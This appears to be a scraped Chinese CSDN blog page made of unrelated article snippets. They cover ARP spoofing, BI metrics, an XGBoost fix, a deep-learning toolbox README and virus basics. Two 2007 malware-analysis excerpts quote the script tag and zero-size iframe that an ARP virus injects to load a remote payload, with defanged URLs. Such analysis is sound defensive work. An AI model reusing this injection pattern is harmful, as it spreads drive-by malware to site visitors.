什么是ARP?     ARP(Address Resolution Protocol,地址解析协议)是一个位于TCP/IP协议栈中的低层协议,负责将某个IP地址解析成对应的MAC地址。 什么是ARP欺骗?     从影响网络连接通畅的方式来看,ARP欺骗分为二种,一种是对路由器ARP表的欺骗;另一种是对内网PC的网关欺骗。     第一种ARP欺骗的原理是——截获网关数据。它通知路由器一系列错...

weixin_33936401的博客 256

企业如何开展BI建设--指标体系建设

很多企业的数字化转型工作都是从做BI项目开始的,很多企业认为,BI就是做指标大屏,所以做了很多的驾驶舱,也做了很多指标,有从系统取的,有手工填报的,甚至手工填报的比例占到了70%,最终BI沦为了填报系统,业务认为BI就是把从线下的微信沟通转到了线上录入展示,并没有给业务代来任何提升,久而久之,BI大屏就没人关心,公司高层也认为数据都是填报的,都经过了加工处理,这种数据不可信,不能反映业务开展的实际。其实在BI系统建设之前,我们首先要做的就是要梳理企业的指标,到底我们要展示哪些指标?

263

TypeError: XGBClassifier.fit() got an unexpected keyword argument ‘early_stopping_rounds‘ 解决方案

本文主要介绍了TypeError: XGBClassifier.fit() got an unexpected keyword argument 'early_stopping_rounds’解决方案,希望能对使用XGBoost的同学们有所帮助。 文章目录 1. 问题描述 2. 解决方案

weixin_43178406的博客 1万+

ARP病毒所加网址传播Worm.Win32.Anilogo,Win32.Logogo.q等

ARP病毒所加网址传播Worm.Win32.Anilogo,Win32.Logogo.q等endurer 原创2007-12-17 第1版一位网友说他孤电脑网络路由器DHCP获取不到ip地址,网速超慢,重新连接路由器后打开所有网站,Kaspersky 报告:/---2007-12-14 17:45:23 恶意 HTTP 对象 <hxxp://***.8***v*8.biz/2.htm>:

Purpleendurer@优快云 2642

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

ARP病毒自动添加的网址利用ms07004EXP和MS0614EXP传播Worm.Win32.Delf.cc等

endurer 原创2007-05-24 第1版ARP病毒自动加入的网址为:/---<script language=javascript src=hxxp://google**.17***173**8.org/ad***.js></script>---/ad***.js 包含代码:/---document.write(<iframe width=0 height=0 src="hxxp

Purpleendurer@优快云 1657

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

IDEA的使用指南

IDEA基于java的使用手册,可以最快速的上手,在使用中不断的丰富自己的使用技巧.

用快马 AI 开发 ARP 网络诊断工具:一键解析局域网设备

网络工具开发要特别注意不同环境的兼容性可视化展示能大幅提升工具实用性异常检测算法可以不断优化,比如加入历史数据比对工具类项目特别适合用快马平台快速实现和分享这个项目让我意识到,很多日常用的命令行工具都可以做成可视化版本。接下来准备把ping、tracert等常用网络命令都集成进来,做一个完整的网络工具箱。在InsCode(快马)平台上开发这类工具特别方便,不用操心环境配置,写完代码一键就能发布成网页应用,推荐有类似需求的同学试试。

SunstoneLion34的博客 1030

ssm框架搭建

这个是一个在idea上成功跑起来的ssm框架项目,保存在这里方便以后使用直接下载

各类恶意代码

随着计算机系统软件技术的发展,新的病毒技术也应运而生,特别是结合脚本技术的病毒更让人防不胜防,由于脚本语言的易用性,并且脚本在现在的应用系统中特别是Internet应用中占据了重要地位,脚本病毒也成为互联网病毒中最为流行的网络病毒。另一类是针对个人用户的,通过网络迅速传播的蠕虫病毒,以“爱虫”病毒和“求职信”病毒为代表蠕虫病毒含义:蠕虫是病毒的一种,它的传播通常不需要所谓的激活。从此以后,所有自动保存的文档都会“感染”上这种宏病毒,而且如果其他用户打开了感染病毒的文档,宏病毒又会转移到他的计算机上。

2301_79448933的博客 2344

初识恶意代码之------计算机病毒

计算机病毒(Computer Virus)是编制者在计算机程序中插入的破坏计算机功能或者数据的代码,能影响计算机使用,能自我复制的一组计算机指令或者程序代码。计算机病毒的特点:传播性、程序性、破坏性、非授权性、隐蔽性、潜伏性、可触发性、不可预见性。计算机病毒的生命周期:潜伏阶段---传播阶段---触发阶段---发作阶段。计算机病毒的传播途径:1、通过软盘、光盘传播2、通过移动存储设备传播3、通过网...

bingandou3917的博客 476
上一篇: 对Sohu.com的一次安全检测
下一篇: 有意思的后门...
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论 2
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值